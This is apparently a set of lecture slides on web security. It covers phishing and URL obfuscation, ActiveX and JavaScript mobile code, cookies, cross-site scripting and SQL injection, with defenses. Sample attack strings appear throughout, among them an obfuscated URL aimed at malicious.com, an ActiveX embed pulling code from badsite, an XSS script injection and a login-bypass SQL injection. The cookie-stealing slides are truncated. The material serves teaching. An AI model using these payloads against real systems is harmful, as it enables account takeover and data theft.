Web Security

1. HTML Protocol and Language
2. Insecurity #1: phishing attacks
HTML Protocol and Language

- **Hypertext markup language (HTML)**
  - Describes the content and formatting of Web pages
  - Rendered within browser window

- **HTML features**
  - Static document description language
  - Supports linking to other pages and embedding images by reference
  - User input sent to server via forms

- **HTML extensions**
  - Additional media content (e.g., PDF, video) supported through plugins
  - Embedding programs in supported languages (e.g., JavaScript, Java) provides dynamic content that interacts with the user, modifies the browser user interface, and can access the client computer environment

### Attack #1: Phishing

- Forged web pages created to fraudulently acquire sensitive information
- User typically solicited to access phished page from spam email
- Most targeted sites
  - Financial services (e.g., Citibank)
  - Payment services (e.g., PayPal)
  - Auctions (e.g., eBay)
- 45K unique phishing sites detected monthly in 2009 [APWG Phishing Trends Reports]
- Methods to avoid detection
  - Misspelled URL
  - URL obfuscation
  - Removed or forged address bar
Phishing Example

URL Obfuscation

- Properties of page in previous slide
  - Actual URL different from spoofed URL displayed in address bar
- URL escape character attack
  - Old versions of Internet Explorer did not display anything past the Esc or null character
  - Displayed vs. actual site
    http://trusted.com%01%00@malicious.com
- Unicode attack
  - Domain names with Unicode characters can be registered
  - Identical, or very similar, graphic rendering for some characters
  - E.g., Cyrillic and Latin “a”
  - Phishing attack on paypal.com
  - Current version of browsers display Punycode, an ASCII-encoded version of Unicode: www.xn--pypal-4ve.com

http://www.anti-phishing.com
Web Security

3. Insecurity due to Mobile Code

Mobile Code

• What is mobile code?
  – Executable program
  – Sent via a computer network
  – Executed at the destination

• Examples
  – JavaScript
  – ActiveX
  – Java Plugins
  – Integrated Java Virtual Machines
JavaScript

• Scripting language interpreted by the browser
• Code enclosed within `<script> ... </script>` tags
• Defining functions:
  ```javascript
  function hello() { alert("Hello world!"); }
  ```
• Event handlers embedded in HTML
  `<img src="picture.gif" onMouseOver="javascript:hello()">`
• Built-in functions can change content of window
  `window.open("http://brown.edu")`
• Click-jacking attack

ActiveX vs. Java

**ActiveX Control**
• Windows-only technology runs in Internet Explorer
• Binary code executed on behalf of browser
• **Can access user files**
• Support for signed code
• An installed control can be run by any site (up to IE7)
• IE configuration options
  – Allow, deny, prompt
  – Administrator approval

**Java Applet**
• Platform-independent via browser plugin
• Java code running within browser
• **Sandboxed** execution
• Support for signed code
• Applet runs only on site where it is embedded
• Applets deemed trusted by user can escape sandbox
Embedding an ActiveX Control

```html
<HTML> <HEAD> <TITLE> Draw a Square </TITLE> </HEAD> <BODY> Here is an example ActiveX reference: <OBJECT ID="Sample" CODEBASE="http://www.badsite.com-controls/stop.ocx" HEIGHT="101" WIDTH="101" CLASSID="clsid:0342D101-2EE9-1B1F-34565634EB71" > <PARAM NAME="Version" VALUE=45445"> <PARAM NAME="ExtentX" VALUE="3001"> <PARAM NAME="ExtentY" VALUE="2445"> </OBJECT> </BODY> </HTML>
```

Authenticode in ActiveX

- This signed ActiveX control ask the user for permission to run
  - If approved, the control will run with the same privileges as the user
- The “Always trust content from …” checkbox automatically accepts controls by the same publisher
  - Probably a bad idea

Malicious Mobile Code, by R. Grimes, O’Reilly Books
Trusted/Untrusted ActiveX controls

• Trusted publishers
  – List stored in the Windows registry
  – Malicious ActiveX controls can modify the registry table to make their publisher trusted
  – All future controls by that publisher run without prompting user

• Unsigned controls
  – The prompt states that the control is unsigned and gives an accept/reject option
  – Even if you reject the control, it has already been downloaded to a temporary folder where it remains
  – It is not executed if rejected, but not removed either

Classic ActiveX Exploits

• Exploder and Runner controls designed by Fred McLain
  – Exploder was an ActiveX control for which he purchased a VeriSign digital signature
  – The control would power down the machine
  – Runner was a control that simply opened up a DOS prompt While harmless, the control easily could have executed format C: or some other malicious command

• Quicken exploit by a German hacking club
  – Intuit’s Quicken is personal financial management tool
  – Can be configured to auto-login to bank and credit card sites
  – The control that would search the computer for Quicken and execute a transaction that transfers user funds to their account
Web Security

4. Insecurity due to Cookies

Cookies

- Cookies are a small bit of information stored on a computer associated with a specific server
  - When you access a specific website, it might store information as a cookie
  - Every time you revisit that server, the cookie is re-sent to the server
  - Effectively used to hold state information over sessions
- Cookies can hold any type of information
  - Can also hold sensitive information
    - This includes passwords, credit card information, social security number, etc.
    - Session cookies, non-persistent cookies, persistent cookies
  - Almost every large website uses cookies
More on Cookies

• Cookies are stored on your computer and can be controlled
  – However, many sites require that you enable cookies in order to use the site
  – Their storage on your computer naturally lends itself to exploits (Think about how ActiveX could exploit cookies...)
  – You can (and probably should) clear your cookies on a regular basis
  – Most browsers will also have ways to turn off cookies, exclude certain sites from adding cookies, and accept only certain sites' cookies

• Cookies expire
  – The expiration is set by the sites' session by default, which is chosen by the server
  – This means that cookies will probably stick around for a while

Taking Care of Your Cookies

• Managing your cookies in Firefox:
  – Remove Cookie
  – Remove All Cookies
  – Displays information of individual cookies
  – Also tells names of cookies, which probably gives a good idea of what the cookie stores
  – i.e. amazon.com: session-id
Web Security

5. Insecurity due to Cross-Scripting

Cross Site Scripting (XSS)

• Attacker injects scripting code into pages generated by a web application
  – Script could be malicious code
  – JavaScript (AJAX!), VBScript, ActiveX, HTML, or Flash
• Threats:
  – Phishing, hijacking, changing of user settings, cookie theft/poisoning, false advertising, execution of code on the client, ...
XSS Example

- Website allows posting of comments in a guestbook
- Server incorporates comments into page returned

```html
<html>
<head>
<title>My Guestbook!</title>
</head>
<body>

Thanks for signing my guestbook!<br/>
Here's what everyone else had to say:<br/>
Joe: Hi! <br/>
John: Hello, how are you? <br/>
Jane: How does this guestbook work? <br/>
</body>
</html>
```

- Attacker can post comment that includes malicious JavaScript
  ```javascript
  Eviguy: <script>alert("XSS Injection!");</script> <br/>
  ```

**guestbook.html**

```html
<html>
<head>
<title>Sign My Guestbook!</title>
</head>
<body>

Sign my guestbook!
<form action="sign.php" method="POST">
  <input type="text" name="name">
  <input type="text" name="message" size="40">
  <input type="submit" value="Submit">
</form>
</body>
</html>
```

Cookie Stealing XSS Attacks

- Attack 1
  ```javascript
  ```

- Attack 2
  ```javascript
  img = new Image();
  ```
Another XSS Attack

- Mallory finds that Bob’s site is XSS type 1 vulnerable
- Mallory makes a tampered URL to use this vulnerability and sends to Alice an email pretending to be from Bob with the tampered URL
- Alice uses the tampered URL at the same time while she is logged on Bob’s site
- The malicious script is executed in Alice browser
- Unbeknown to Alice, the script steals Alice’s confidential information and sends it to Mallory’s site

Client-side XSS defenses

- Proxy-based:
  - Analyze HTTP traffic between browser and web server
  - Look for special HTML characters
  - Encode them before executing the page on the user’s web browser (i.e. NoScript - Firefox plugin)
- Application-level firewall:
  - Analyze HTML pages for hyperlinks that might lead to leakage of sensitive information
  - Stop bad requests using a set of connection rules
- Auditing system:
  - Monitor execution of JavaScript code and compare the operations against high-level policies to detect malicious behavior
Web Security

6. Other Attack Examples: SQL Injection

SQL injection attacks are another case of an attack due to the fact that technology #1 intended to use technology #2 in some restricted way, but the attack results from the fact that a malicious network node can form its message which are not bound by these restrictions, and create unintended (and malicious) consequences.

- Here technology #1 is HTML and #2 is SQL.
- URL Obfuscation attack (slide 6 above) can be another example where technology #1 is web browser address display and #2 is ASCII text rendering.

SQL Injection Attack

- Many web applications take user input from a form
- Often this user input is used literally in the construction of a SQL query submitted to a database. For example:
  
  ```sql
  SELECT user FROM table
  WHERE name = 'user_input';
  ```
- An SQL injection attack involves placing SQL statements in the user input
SQL: Standard Query Language

- SQL lets you access and manage (Query) databases
- A database is a large collection of data organized in tables for rapid search and retrieval, with fields and columns

<table>
<thead>
<tr>
<th>First_Name</th>
<th>Last_Name</th>
<th>Code_ID</th>
</tr>
</thead>
<tbody>
<tr>
<td>Bernardo</td>
<td>Palazzi</td>
<td>345</td>
</tr>
<tr>
<td>Roberto</td>
<td>Tamassia</td>
<td>122</td>
</tr>
<tr>
<td>Alex</td>
<td>Heitzman</td>
<td>543</td>
</tr>
<tr>
<td>....</td>
<td>....</td>
<td>....</td>
</tr>
</tbody>
</table>

A field or Column
A Record or Row

SQL Syntax

SELECT column_name(s) or *
WHERE column_name operator value

- SELECT statement is used to select data FROM one or more tables in a database
- WHERE clause is used to filter records
SQL Injection Attack on Login Authentication

• Standard query to authenticate users:
  select * from users where user='$usern' AND pwd='$password'

• Classic SQL injection attacks
  – Server side code sets variables $username and $passwd from user input to web form
  – Variables passed to SQL query
  select * from users where user='M' OR '1=1' AND pwd='M' OR '1=1'

• Special strings can be entered by attacker
  select * from users where user='M' OR '1=1' AND pwd='M' OR '1=1'

• Result: access obtained without password